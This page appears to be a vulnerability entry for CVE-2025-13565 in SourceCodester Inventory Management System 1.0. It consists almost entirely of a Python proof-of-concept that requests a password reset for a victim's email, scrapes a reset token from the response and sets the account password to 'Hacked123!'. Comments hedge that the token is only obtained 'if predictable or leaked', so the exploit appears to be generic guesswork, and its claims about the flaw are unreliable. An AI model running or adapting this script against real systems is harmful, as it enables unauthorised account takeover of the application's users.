CVE-2025-13565 SourceCodester Inventory Management System 弱密码恢复漏洞

# CVE-2025-13565 PoC - SourceCodester Inventory Management System Password Reset Vulnerability import requests import re TARGET_URL = "http://target.com/" TARGET_PATH = "model/user/resetPassword.php" def exploit_cve_2025_13565(target_email): """ Exploit for Unauthenticated Password Reset Vulnerability in SourceCodester Inventory Management System 1.0 """ url = TARGET_URL + TARGET_PATH # Step 1: Request password reset reset_data = { 'email': target_email, 'action': 'request_reset' } response = requests.post(url, data=reset_data) # Step 2: Extract reset token (if predictable or leaked) # The vulnerability may allow token prediction or enumeration token_pattern = r'reset_token=([a-zA-Z0-9]+)' match = re.search(token_pattern, response.text) if match: token = match.group(1) # Step 3: Use token to reset password new_password = "Hacked123!" reset_complete = requests.post(url, data={ 'token': token, 'new_password': new_password, 'confirm_password': new_password, 'action': 'complete_reset' }) if 'success' in reset_complete.text.lower(): print(f"[+] Password reset successful for {target_email}") return True print("[-] Password reset failed") return False # Usage: exploit_cve_2025_13565('[email protected]')